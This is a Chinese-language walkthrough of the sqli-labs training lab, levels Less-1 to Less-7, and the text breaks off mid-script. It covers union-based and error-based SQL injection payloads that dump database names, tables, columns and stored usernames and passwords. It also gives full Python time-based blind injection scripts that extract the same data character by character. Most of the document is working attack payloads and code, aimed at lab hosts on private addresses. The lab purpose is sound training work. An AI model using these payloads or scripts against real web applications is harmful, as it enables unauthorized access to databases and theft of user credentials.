SQL注入-sqli-labs

tmx8911
1
2025-05-14

Less-1:


我们可以在http://127.0.0.1/sqli-labs/Less-1/后输入一个 id=1' 在正常输入的1后面添上一个 ' ,看一下效果:

提示:SQL语法错误:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1


从上述错误当中,我们可以看到提交到 sql语句 中的 1 在经过 sql 语句构造后形成 '1'' LIMIT 0,1 多加了一个 。这种方式就是从错误信息中得到我们所需要的信息,那我们接下来想如何将多余的 去掉呢?

尝试在id=1后面加上:

' or 1=1 --+

此时构造的sql语句就成了:

select xxxx from xxxx where id='1' or 1=1 --+' limit 0,1

可以看到正常返回数据

此处可以利用 order by,使用order by 对前面的select 语句的数据进行排序,经过不断测试这里有三列数据,我们只能用order by 3,超过3就会报错

' order by 4 --+

的显示为:

最后从源代码中分析下为什么会造成注入?
Sql 语句为:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"

Id 参数在拼接 sql 语句时,未对 id 进行任何的过滤等操作,所以当提交 ' or 1=1 --+,直接构造的 sql 语句就是

SELECT * FROM users WHERE id='1' or 1=1 --+ LIMIT 0,1

这条语句因 or 1=1 所以为永恒真。


此外,此处介绍 union 联合注入,union 的作用是将两个 sql 语句进行联合。union 可以从下面的例子中可以看出,强调一点:union 前后的两个 sql 语句的选择列数要相同才可以。union all 与 union 的区别是增加了去重的功能。
我们这里根据SQL注入基础知识进行information_schema 知识的应用:


使用union联合注入:

当 id 的数据在数据库中不存在时,(此时我们可以 id=-1,两个 sql 语句进行联合操作时,当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)此处前台页面返回了我们构造的 union 的数据:

-1' union select 1,2,3 --+


根据返回值可以发现返回的是后面两列数据

爆所有数据库:

-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+


此时的 sql 语句为:

SELECT * FROM users WHERE id='-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+ LIMIT 0,1

爆破出的数据库名有:

information_schema,challenges,dvwa,mysql,performance_schema,security,test

爆当前数据库名及当前数据库的所有数据表:

-1' union select 1,group_concat(table_name),database() from information_schema.tables where table_schema=database() --+


此时的 sql 语句为:

SELECT * FROM users WHERE id='-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+ LIMIT 0,1

当前数据库名为:

security

当前数据库下的所有表名为:

emails,referers,uagents,users

爆users表的所有列名(字段名):

-1' union select 1,group_concat(column_name),database() from information_schema.columns where table_name='users' --+


此时的 sql 语句为:

SELECT * FROM users WHERE id='-1' union select 1,group_concat(column_name),database() from information_schema.columns where table_name='users' --+ LIMIT 0,1

当前users表的所有列名为:

user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password

爆数据:

-1' union select 1,group_concat(username,'-',password),database() from users --+


此时的 sql 语句为:

SELECT * FROM users WHERE id='-1' union select 1,group_concat(username,'-',password),database() from users --+ LIMIT 0,1

爆出的数据为:

Dumb-Dumb,Angelina-I-kill-you,Dummy-p@ssword,secure-crappy,stupid-stupidity,superman-genious,batman-mob!le,admin-admin,admin1-admin1,admin2-admin2,admin3-admin3,dhakkan-dumbo,admin4-admin4

使用报错注入:

使用与Less-5类似

?id=1'  or 1= (select 1 from (select count(*),concat((select concat(username,"-",password) from users limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

Less-2:

将单引号添加到数字后面:

?id=1'


我们又得到了一个 Mysql 返回的错误,提示我们语法错误:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

现在执行以查询语句:

select * from table where id=1';

所以这里的奇数个单引号破坏了查询,导致抛出错误
因此我们得出的结果是,查询代码使用了整数

源代码中可以分析到 SQL 语句为下:
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
对ID这个变量没有处理

可以成功注入的有::

or 1=1
or 1=1--+

其余的 payload 与 less1 中一致,只需要将 less1 中的 ‘ 去掉即可

使用union联合注入:

查看当前数据库名,版本信息:

?id=-1 union select 1,database(),version()--+


查看当前数据库用户:

?id=-1 union select 1,2,user()--+

爆所有数据库:

?id=-1 union select 1,database(),group_concat(schema_name) from information_schema.schemata --+

information_schema,challenges,dvwa,mysql,performance_schema,security,test

爆当前数据库名以及当前数据库的所有数据表:

?id=-1 union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() --+

emails,referers,uagents,users

爆users表的所有列名(字段名):

?id=-1 union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+

爆数据:

?id=-1 union select 1,group_concat(username),group_concat(password) from users --+

使用报错注入:

与Less-5类似:

?id=-1 or 1= (select 1 from (select count(*),concat((select concat(username,"-",password) from users limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

Less-3:

将单引号添加到数字后面:

?id=1'


注入代码后,我们得到像这样的一个错误:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1

这里它意味着,开发者使用的查询是:

select login_name,password from table where id= ('$id')

所以我们再用这样的代码来进行注入:

?id=1')--+


这样一来,我们便可以得到用户名和密码了,同时后面查询也已经被注释掉了
在源代码中的 SQL 查询语句为:

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

可以成功注入的有:

?id=')--+
?id=') or '1'=('1
?id=') or 1=1--+

其余的 payload 与 less1 中一致,只需要将 less1 中的 ' 添加 ) 即 ')

?id=') union select 1,2,3--+

爆所有数据库:

?id=') union select 1,group_concat(schema_name),3 from information_schema.schemata --+

information_schema,challenges,dvwa,mysql,performance_schema,security,test

爆当前数据库名以及表名:

?id=') union select 1,group_concat(table_name),database() from information_schema.tables where table_schema=database() --+

爆users表的所有列名:

?id=') union select 1,group_concat(column_name),database() from information_schema.columns where table_schema=database() and table_name='users' --+

Less-4:

判断注入点:

我们使用?id=1'

发现并未报错
我们再次尝试双引号:

注入代码后,我们得到像这样的一个错误:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1

发现闭合是双引号和括号
这里它意味着,代码当中对 id 参数进行了 “” 和 () 的包装
可以尝试:

?id=1")--+


在源代码中的 SQL 查询语句:

$sql="SELECT * FROM users WHERE id=("$id") LIMIT 0,1";

可以成功注入的有:

?id=")--+
?id=") or 1=1 --+
?id=") or "1"=("1

其余的 payload 与 less1 中一致,只需要将 less1 中的 ‘ 更换为 “)

?id=") union select 1,2,3 --+

爆所有数据库:

?id=") union select 1,database(),group_concat(schema_name) from information_schema.schemata  --+

爆当前数据库的所有表名:

?id=") union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()  --+

爆users表的所有列名(字段名):

?id=") union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+

Less-5:

判断注入点:

我们使用?id=1'

发现报错:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

发现闭合是单引号且为单引号字符型注入:

?id=-1' or '1'='1
?id=1' and '1'='1


在源代码中的 SQL 查询语句为:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

爆破注入点:

一、使用Burp工具:

爆所有数据库:

?id=-1' or mid((select schema_name from information_schema.schemata limit 0,1),1,1)='a
?id=1' and mid((select schema_name from information_schema.schemata limit 0,1),1,1)='a

以上两种盲注都可以
使用Burp工具逐步对指定的位置进行攻击爆破

第一个数据库的第一位为i
以此逐步爆破
第一个数据库的第二位为
第一个数据库名为:

information_schema

二、使用python脚本爆破:

import requests  
import time  
# 模拟请求的一个库:  
r = requests.session()  
  
chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_='  
  
# 爆破当前数据库名长度:  
def get_database_name_length() -> int:  
    print("===========正在爆破当前数据库名长度!!!================")  
    print("================请耐心等待!!!======================")  
    print("")  
    print("")  
    for i in range(50):  
        #关键代码url:  
        url = "http://192.168.239.5:9020/Less-5/?id=-1' or length(database())={} and sleep(0.1) and '1'='1".format(i)  
  
        start_time = time.time()  # 这是请求前的时间  
        r.get(url) # 这是请求之后  
        if time.time() - start_time > 1:    #当请求时间大于1秒的时候就说明数据库长度爆破成功!  
            length = i  
            break  
    print("============="+"当前数据库的长度为:{}".format(i))  
    print("")  
    print("")  
    return length  
  
  
#爆破当前数据库名称:  
def get_database_name(length):  
    print("===========正在爆破当前数据库名!!!====================")  
    print("================请耐心等待!!!=======================")  
  
  
    database_name = ''  
    for i in range(length+1):    # 因为包含左不包含右,要想取到count就得+1  
        for j in range(1,128):    #ascii码一共1~127,包含左不包含右,因此+1为128  
            url = "http://192.168.239.5:9020/Less-5/?id=-1' or ascii(substr((database()),{},1))={} and sleep(0.1) and '1'='1".format(i,j)  
  
            start_time = time.time()  
            r.get(url)  
            if time.time() - start_time >1:  
                database_name = database_name+chr(j)  
                print(database_name)  
                break  
    print("============="+"当前数据库名为:"+database_name)  
    print("")  
    print("")  
    return database_name  
  
  
  
#爆破当前数据库下的表个数:  
def get_table_name_count() -> int:  
    print("=========正在爆破当前数据库下的表个数!!!===============")  
    print("================请耐心等待!!!=======================")  
    print("")  
    print("")  
    for i in range(50):  
        #关键代码url:  
        url = "http://192.168.239.5:9020/Less-5/?id=-1' or (select count(table_name) from information_schema.tables where table_schema=database())={} and sleep(0.1) and '1'='1".format(i)  
  
        start_time = time.time()  
        r.get(url)  
        if time.time() - start_time > 1:  
            count = i  
            break  
    print("============="+"当前数据库下的数据表的个数为:{}".format(count))  
    print("")  
    print("")  
    return count  
  
  
  
#爆破当前数据库下的每张表名的长度:  
def get_table_name_length(count):  
    print("=========正在爆破当前数据库下的每张表名的长度!!!=========")  
    print("================请耐心等待!!!=======================")  
    print("")  
    print("")  
    for i in range(count):  
        for j in range(50):  
            url = "http://192.168.239.5:9020/Less-5/?id=-1' or length((select table_name from information_schema.tables where table_schema=database() limit {},1))={} and sleep(0.1) and '1'='1".format(i,j)  
  
            start_time = time.time()  
            r.get(url)  
            if time.time() - start_time > 1:  
                length = j  
                break  
        print("第{}张表的长度为:".format(i+1)+str(length))  
    print("=========以上为当前数据库下的每张表名的长度")  
    print("")  
    print("")  
    return 0  
  
  
#爆破当前数据库下的所有数据表名:  
def get_table_name(count):  
    print("=========正在爆破当前数据库下的所有表名!!!=========")  
    print("================请耐心等待!!!=======================")  
    table_name = ''  
    for i in range(count):  
        for j in range(50):  
            for k in range(1,128):  
                url = "http://192.168.239.5:9020/Less-5/?id=-1' or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {},1),{},1))={} and sleep(0.1) and '1'='1".format(i,j,k)  
                start_time = time.time()  
                r.get(url)  
                if time.time() - start_time > 1:  
                    table_name += chr(k)  
                    print(table_name)  
                    break  
        print("第{}张数据表名为:".format(i+1)+table_name)  
        table_name=''  
    print("=========以上为当前数据库下的所有数据表名")  
    print("")  
    print("")  
    return 0  
  
  
  
#爆破当前数据库下的users表的所有字段个数:  
def get_column_name_count() -> int:  
    print("======正在爆破当前数据库下的users表的所有字段个数!!!======")  
    print("================请耐心等待!!!=======================")  
    print("")  
    print("")  
    for i in range(50):  
        url = "http://192.168.239.5:9020/Less-5/?id=-1' or (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')={} and sleep(0.1) and '1'='1".format(i)  
        start_time = time.time()  
        r.get(url)  
        if time.time() - start_time >1:  
            count = i  
            break  
    print("=============" + "当前数据库下的users表的所有字段个数为:{}".format(count))  
    print("")  
    print("")  
    return count  
  
  
#爆破当前数据库下的users表的所有字段名:  
def get_column_name(count):  
    print("======正在爆破当前数据库下的users表的所有字段名!!!=======")  
    print("================请耐心等待!!!=======================")  
    print("")  
    print("")  
    column_name = ''  
    for i in range(count):  
        for j in range(50):  
            for k in range(1,128):  
                url = "http://192.168.239.5:9020/Less-5/?id=-1' or ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit {},1),{},1))={} and sleep(0.1) and '1'='1".format(i,j,k)  
  
                start_time = time.time()  
                r.get(url)  
                if time.time() - start_time > 1:  
                    column_name += chr(k)  
                    print(column_name)  
                    break  
        print("第{}个字段名为:".format(i + 1) + column_name)  
        column_name = ''  
    print("=========以上为当前数据库下的users表的所有字段名")  
    print("")  
    print("")  
    return 0  
  
  
# 爆破当前users表有多少条数据记录:  
def get_users_count() -> int:  
    print("======正在爆破当前users表有多少条数据记录!!!=======")  
    print("================请耐心等待!!!=======================")  
    for i in range(100):  
        url = "http://192.168.239.5:9020/Less-5/?id=-1' or (select count(*) from users )={} and sleep(0.1) and '1'='1".format(i)  
        start_time = time.time()  
        r.get(url)  
        if time.time() - start_time >1:  
            count = i  
            break  
    print("=============" + "当前users表有{}条数据记录".format(count))  
    print("")  
    print("")  
    return count  
  
#爆破当前数据库中users表中的username字段和password的字段内容:  
def get_username(count):  
    print("======正在爆破当前数据库中users表中的username字段和password的字段内容!!!=======")  
    print("=============================请耐心等待!!!===============================")  
    values1 = ''  
    values2 = ''  
    values3 = ''  
    for i in range(count):  
        for j in range(50):  
            for k in range(1,128):  
                url1 = "http://192.168.239.5:9020/Less-5/?id=-1' or ascii(substr((select id from users limit {},1),{},1))={} and sleep(0.1) and '1'='1".format(i,j,k)  
                url2 = "http://192.168.239.5:9020/Less-5/?id=-1' or ascii(substr((select username from users limit {},1),{},1))={} and sleep(0.1) and '1'='1".format(i,j,k)  
                url3 = "http://192.168.239.5:9020/Less-5/?id=-1' or ascii(substr((select password from users limit {},1),{},1))={} and sleep(0.1) and '1'='1".format(i,j,k)  
                start_time = time.time()  
                r.get(url1)  
                if time.time() - start_time >1:  
                    values1 += chr(k)  
  
                start_time = time.time()  
                r.get(url2)  
                if time.time() - start_time > 1:  
                    values2 += chr(k)  
  
                start_time = time.time()  
                r.get(url3)  
                if time.time() - start_time > 1:  
                    values3 += chr(k)  
  
        print("===第{}条记录的id值为:{},username的值为:{},password的值为:{}".format(i+1,values1,values2,values3))  
        values1 = ''  
        values2 = ''  
        values3 = ''  
    print("=====以上为users表中所有数据========")  
    print("")  
    print("")  
    return 0  
  
# 调用以上函数:  
if __name__ == '__main__':  
    get_database_name(get_database_name_length())     #获取当前数据库名长度、获取当前数据库名长度  
    get_table_name_length(get_table_name_count())     #爆破当前数据库下的表个数、爆破当前数据库下的每张表名的长度  
    get_table_name(get_table_name_count())            #爆破当前数据库下的表个数、爆破当前数据库下的所有表名  
    get_column_name(get_column_name_count())          #爆破当前数据库下的users表的所有字段个数、爆破当前数据库下的users表的所有字段名  
    get_username(get_users_count())                   #爆破当前users表有多少条数据记录、爆破当前数据库中users表中的username字段和password的字段内容

优化了最后一个爆破所有字段内容:

#爆破当前数据库中users表中的username字段和password的字段内容:  
def get_username(count):  
    print("======正在爆破当前数据库中users表中的username字段和password的字段内容!!!=======")  
    print("=============================请耐心等待!!!===============================")  
    values = ''  
    for i in range(count):  
        for j in range(50):  
            for k in range(1,128):  
                url1 = "http://192.168.239.5:9020/Less-5/?id=-1' or ascii(substr((select concat(id,'---',username,'---',password) from users limit {},1),{},1))={} and sleep(0.1) and '1'='1".format(i,j,k)  
                # 此处的id,useranme,password以' - '分隔!  
                start_time = time.time()  
                r.get(url1)  
                if time.time() - start_time >1:  
                    values += chr(k)  
                    print(values)  
                    break  
        print("===第{}条记录的id值为:".format(i+1)+values)  
        values = ''  
    print("=====以上为users表中所有数据========")  
    print("")  
    print("")  
    return 0

爆破返回结果:




优化后的代码输出为:

运行效率高许多!!!
有返回进度明显!

使用报错注入:

使用报错注入可以的到我们想要的信息:

一、第一种:

获得数据库:
?id=-1'  or 1= (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

security
获得数据表:
?id=-1'  or 1= (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1


控制limit的起始参数获得第一个表名:emails
以此内推:referers

?id=-1'  or 1= (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

http://192.168.239.5:9020/Less-5/?id=-1'  or 1= (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

?id=-1'  or 1= (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

获得字段名:
?id=-1'  or 1= (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

?id=-1'  or 1= (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

?id=-1'  or 1= (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

获得字段值:
?id=-1'  or 1= (select 1 from (select count(*),concat((select concat(username,'-',password) from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

?id=-1'  or 1= (select 1 from (select count(*),concat((select concat(username,'-',password) from users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

?id=-1'  or 1= (select 1 from (select count(*),concat((select concat(username,'-',password) from users limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1


以此类推可以获取所有数据!!

二、第二种:

?id=-1' or (select extractvalue(1,concat(0x7e,(select database())))) and '1'='1


用法与第一种类似!!

Less-6:

判断注入点:

我们使用?id=1'

发现并未报错
我们接下来尝试?id=1"

发现报错:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"" LIMIT 0,1' at line 1

发现闭合是单引号且为双引号字符型注入:

?id=-1" or "1"="1
?id=1" and "1"="1


在源代码中的 SQL 查询语句为:

$sql='SELECT * FROM users WHERE id="$id" LIMIT 0,1';

Less6 与 less5 的区别在于 less6 在 id 参数传到服务器时,对 id 参数进行了处理。这里可以从源代码中可以看到
那我们在这一关的策略和 less5 的是一样的。只需要将 ‘ 替换成 “

爆破注入点:

使用python编写脚本:

import requests  
import time  
# 模拟请求的一个库:  
r = requests.session()  
  
chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_='  
  
# # 爆破当前数据库名长度:  
def get_database_name_length() -> int:  
    print("===========正在爆破当前数据库名长度!!!================")  
    print("================请耐心等待!!!======================")  
    print("")  
    print("")  
    for i in range(50):  
        #关键代码url:  
        url = 'http://192.168.239.5:9020/Less-6/?id=-1" or length(database())={} and sleep(1) and "1"="1'.format(i)  
  
        start_time = time.time()  # 这是请求前的时间  
        r.get(url) # 这是请求之后  
        if time.time() - start_time > 1:    #当请求时间大于1秒的时候就说明数据库长度爆破成功!  
            length = i  
            break  
    print("============="+"当前数据库的长度为:{}".format(i))  
    print("")  
    print("")  
    return length  
  
  
# #爆破当前数据库名称:  
def get_database_name(length):  
    print("===========正在爆破当前数据库名!!!====================")  
    print("================请耐心等待!!!=======================")  
  
  
    database_name = ''  
    for i in range(length+1):    # 因为包含左不包含右,要想取到count就得+1  
        for j in range(1,128):    #ascii码一共1~127,包含左不包含右,因此+1为128  
            url = 'http://192.168.239.5:9020/Less-6/?id=-1" or ascii(substr((database()),{},1))={} and sleep(0.1) and "1"="1'.format(i,j)  
  
            start_time = time.time()  
            r.get(url)  
            if time.time() - start_time >1:  
                database_name = database_name+chr(j)  
                print(database_name)  
                break  
    print("============="+"当前数据库名为:"+database_name)  
    print("")  
    print("")  
    return database_name  
  
  
  
# #爆破当前数据库下的表个数:  
def get_table_name_count() -> int:  
    print("=========正在爆破当前数据库下的表个数!!!===============")  
    print("================请耐心等待!!!=======================")  
    print("")  
    print("")  
    for i in range(50):  
        #关键代码url:  
        url = 'http://192.168.239.5:9020/Less-6/?id=-1" or (select count(table_name) from information_schema.tables where table_schema=database())={} and sleep(0.1) and "1"="1'.format(i)  
  
        start_time = time.time()  
        r.get(url)  
        if time.time() - start_time > 1:  
            count = i  
            break  
    print("============="+"当前数据库下的数据表的个数为:{}".format(count))  
    print("")  
    print("")  
    return count  
  
  
  
# #爆破当前数据库下的每张表名的长度:  
def get_table_name_length(count):  
    print("=========正在爆破当前数据库下的每张表名的长度!!!=========")  
    print("================请耐心等待!!!=======================")  
    print("")  
    print("")  
    for i in range(count):  
        for j in range(50):  
            url = 'http://192.168.239.5:9020/Less-6/?id=-1" or length((select table_name from information_schema.tables where table_schema=database() limit {},1))={} and sleep(0.1) and "1"="1'.format(i,j)  
  
            start_time = time.time()  
            r.get(url)  
            if time.time() - start_time > 1:  
                length = j  
                break  
        print("第{}张表的长度为:".format(i+1)+str(length))  
    print("=========以上为当前数据库下的每张表名的长度")  
    print("")  
    print("")  
    return 0  
  
  
# #爆破当前数据库下的所有数据表名:  
def get_table_name(count):  
    print("=========正在爆破当前数据库下的所有表名!!!=========")  
    print("================请耐心等待!!!=======================")  
    table_name = ''  
    for i in range(count):  
        for j in range(50):  
            for k in range(1,128):  
                url = 'http://192.168.239.5:9020/Less-6/?id=-1" or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {},1),{},1))={} and sleep(0.1) and "1"="1'.format(i,j,k)  
                start_time = time.time()  
                r.get(url)  
                if time.time() - start_time > 1:  
                    table_name += chr(k)  
                    print(table_name)  
                    break  
        print("第{}张数据表名为:".format(i+1)+table_name)  
        table_name=''  
    print("=========以上为当前数据库下的所有数据表名")  
    print("")  
    print("")  
    return 0  
  
  
  
# #爆破当前数据库下的users表的所有字段个数:  
def get_column_name_count() -> int:  
    print("======正在爆破当前数据库下的users表的所有字段个数!!!======")  
    print("================请耐心等待!!!=======================")  
    print("")  
    print("")  
    for i in range(50):  
        url = 'http://192.168.239.5:9020/Less-6/?id=-1" or (select count(column_name) from information_schema.columns where table_schema=database() and table_name="users")={} and sleep(0.1) and "1"="1'.format(i)  
        start_time = time.time()  
        r.get(url)  
        if time.time() - start_time >1:  
            count = i  
            break  
    print("=============" + "当前数据库下的users表的所有字段个数为:{}".format(count))  
    print("")  
    print("")  
    return count  
  
  
# #爆破当前数据库下的users表的所有字段名:  
def get_column_name(count):  
    print("======正在爆破当前数据库下的users表的所有字段名!!!=======")  
    print("================请耐心等待!!!=======================")  
    print("")  
    print("")  
    column_name = ''  
    for i in range(count):  
        for j in range(50):  
            for k in range(1,128):  
                url = 'http://192.168.239.5:9020/Less-6/?id=-1" or ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit {},1),{},1))={} and sleep(0.1) and "1"="1'.format(i,j,k)  
  
                start_time = time.time()  
                r.get(url)  
                if time.time() - start_time > 1:  
                    column_name += chr(k)  
                    print(column_name)  
                    break  
        print("第{}个字段名为:".format(i + 1) + column_name)  
        column_name = ''  
    print("=========以上为当前数据库下的users表的所有字段名")  
    print("")  
    print("")  
    return 0  
  
  
# 爆破当前users表有多少条数据记录:  
def get_users_count() -> int:  
    print("======正在爆破当前users表有多少条数据记录!!!=======")  
    print("================请耐心等待!!!=======================")  
    for i in range(100):  
        url = 'http://192.168.239.5:9020/Less-6/?id=-1" or (select count(*) from users )={} and sleep(0.1) and "1"="1'.format(i)  
        start_time = time.time()  
        r.get(url)  
        if time.time() - start_time >1:  
            count = i  
            break  
    print("=============" + "当前users表有{}条数据记录".format(count))  
    print("")  
    print("")  
    return count  
  
#爆破当前数据库中users表中的username字段和password的字段内容:  
def get_username(count):  
    print("======正在爆破当前数据库中users表中的username字段和password的字段内容!!!=======")  
    print("=============================请耐心等待!!!===============================")  
    values1 = ''  
    values2 = ''  
    values3 = ''  
    for i in range(count):  
        for j in range(50):  
            for k in range(1,128):  
                url1 = 'http://192.168.239.5:9020/Less-6/?id=-1" or ascii(substr((select id from users limit {},1),{},1))={} and sleep(0.1) and "1"="1'.format(i,j,k)  
                url2 = 'http://192.168.239.5:9020/Less-6/?id=-1" or ascii(substr((select username from users limit {},1),{},1))={} and sleep(0.1) and "1"="1'.format(i,j,k)  
                url3 = 'http://192.168.239.5:9020/Less-6/?id=-1" or ascii(substr((select password from users limit {},1),{},1))={} and sleep(0.1) and "1"="1'.format(i,j,k)  
                start_time = time.time()  
                r.get(url1)  
                if time.time() - start_time >1:  
                    values1 += chr(k)  
  
                start_time = time.time()  
                r.get(url2)  
                if time.time() - start_time > 1:  
                    values2 += chr(k)  
  
                start_time = time.time()  
                r.get(url3)  
                if time.time() - start_time > 1:  
                    values3 += chr(k)  
  
        print("===第{}条记录的id值为:{},username的值为:{},password的值为:{}".format(i+1,values1,values2,values3))  
        values1 = ''  
        values2 = ''  
        values3 = ''  
    print("=====以上为users表中所有数据========")  
    print("")  
    print("")  
    return 0  
  
# 调用以上函数:  
if __name__ == '__main__':  
    get_database_name(get_database_name_length())     #获取当前数据库名长度、获取当前数据库名长度  
    get_table_name_length(get_table_name_count())     #爆破当前数据库下的表个数、爆破当前数据库下的每张表名的长度  
    get_table_name(get_table_name_count())            #爆破当前数据库下的表个数、爆破当前数据库下的所有表名  
    get_column_name(get_column_name_count())          #爆破当前数据库下的users表的所有字段个数、爆破当前数据库下的users表的所有字段名  
    get_username(get_users_count())                   #爆破当前users表有多少条数据记录、爆破当前数据库中users表中的username字段和password的字段内容

爆破返回结果:



使用报错注入:

与Less-5的报错类似,至少这题的闭合方式是双引号字符型

?id=-1" or 1= (select 1 from (select count(*),concat((select concat(username,"-",password) from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and "1"="1

?id=-1" or 1= (select 1 from (select count(*),concat((select concat(username,"-",password) from users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and "1"="1

?id=-1" or 1= (select 1 from (select count(*),concat((select concat(username,"-",password) from users limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and "1"="1


控制limit起始位置依次获得数据!

Less-7:

判断注入点:

判断闭合方式:

'))

使用python脚本爆破:

import requests  
import time  
# 模拟请求的一个库:  
r = requests.session()  
  
chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_='  
  
# 爆破当前数据库名长度:  
def get_database_name_length() -> int:  
    print("===========正在爆破当前数据库名长度!!!================")  
    print("================请耐心等待!!!======================")  
    print("")  
    print("")  
    for i in range(50):  
        #关键代码url:  
        url = "http://192.168.0.128:9020/Less-7/?id=-1')) or length(database())={} and sleep(0.1) and '1'=(('1".format(i)  
  
        start_time = time.time()  # 这是请求前的时间  
        r.get(url) # 这是请求之后  
        if time.time() - start_time > 1:    #当请求时间大于1秒的时候就说明数据库长度爆破成功!  
            length = i  
            break  
    print("============="+"当前数据库的长度为:{}".format(i))  
    print("")  
    print("")  
    return length  
  
  
#爆破当前数据库名称:  
def get_database_name(length):  
    print("===========正在爆破当前数据库名!!!====================")  
    print("================请耐心等待!!!=======================")  
  
  
    database_name = ''  
    for i in range(length+1):    # 因为包含左不包含右,要想取到count就得+1  
        for j in range(1,128):    #ascii码一共1~127,包含左不包含右,因此+1为128  
            url = "http://192.168.0.128:9020/Less-7/?id=-1')) or ascii(mid(database(),{},1))={} and sleep(0.1) and '1'=(('1".format(i,j)  
  
            start_time = time.time()  
            r.get(url)  
            if time.time() - start_time >1:  
                database_name = database_name+chr(j)  
                print(database_name)  
                break  
    print("============="+"当前数据库名为:"+database_name)  
    print("")  
    print("")  
    return database_name  
  
  
  
#爆破当前数据库下的表个数:  
def get_table_name_count() -> int:  
    print("=========正在爆破当前数据库下的表个数!!!===============")  
    print("================请耐心等待!!!=======================")  
    print("")  
    print("")  
    for i in range(50):  
        #关键代码url:  
        url = "http://192.168.0.128:9020/Less-7/?id=-1')) or (select count(table_name) from information_schema.tables where table_schema=database())={} and sleep(0.1) and '1'=(('1".format(i)  
  
        start_time = time.time()  
        r.get(url)  
        if time.time() - start_time > 1:  
            count = i  
            break  
    print("============="+"当前数据库下的数据表的个数为:{}".format(count))  
    print("")  
    print("")  
    return count  
  
  
  
#爆破当前数据库下的每张表名的长度:  
def get_table_name_length(count):  
    print("=========正在爆破当前数据库下的每张表名的长度!!!=========")  
    print("================请耐心等待!!!=======================")  
    print("")  
    print("")  
    for i in range(count):  
        for j in range(50):  
            url = "http://192.168.0.128:9020/Less-7/?id=-1')) or length((select table_name from information_schema.tables where table_schema=database() limit {},1))={} and sleep(0.1) and '1'=(('1".format(i,j)  
  
            start_time = time.time()  
            r.get(url)  
            if time.time() - start_time > 1:  
                length = j  
                break  
        print("第{}张表的长度为:".format(i+1)+str(length))  
    print("=========以上为当前数据库下的每张表名的长度")  
    print("")  
    print("")  
    return 0  
  
  
#爆破当前数据库下的所有数据表名:  
def get_table_name(count):  
    print("=========正在爆破当前数据库下的所有表名!!!=========")  
    print("================请耐心等待!!!=======================")  
    table_name = ''  
    for i in range(count):  
        for j in range(50):  
            for k in range(1,128):  
                url = "http://192.168.0.128:9020/Less-7/?id=-1')) or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {},1),{},1))={} and sleep(0.1) and '1'=(('1".format(i,j,k)  
                start_time = time.time()  
                r.get(url)  
                if time.time() - start_time > 1:  
                    table_name += chr(k)  
                    print(table_name)  
                    break  
        print("第{}张数据表名为:".format(i+1)+table_name)  
        table_name=''  
    print("=========以上为当前数据库下的所有数据表名")  
    print("")  
    print("")  
    return 0  
  
  
  
#爆破当前数据库下的users表的所有字段个数:  
def get_column_name_count() -> int:  
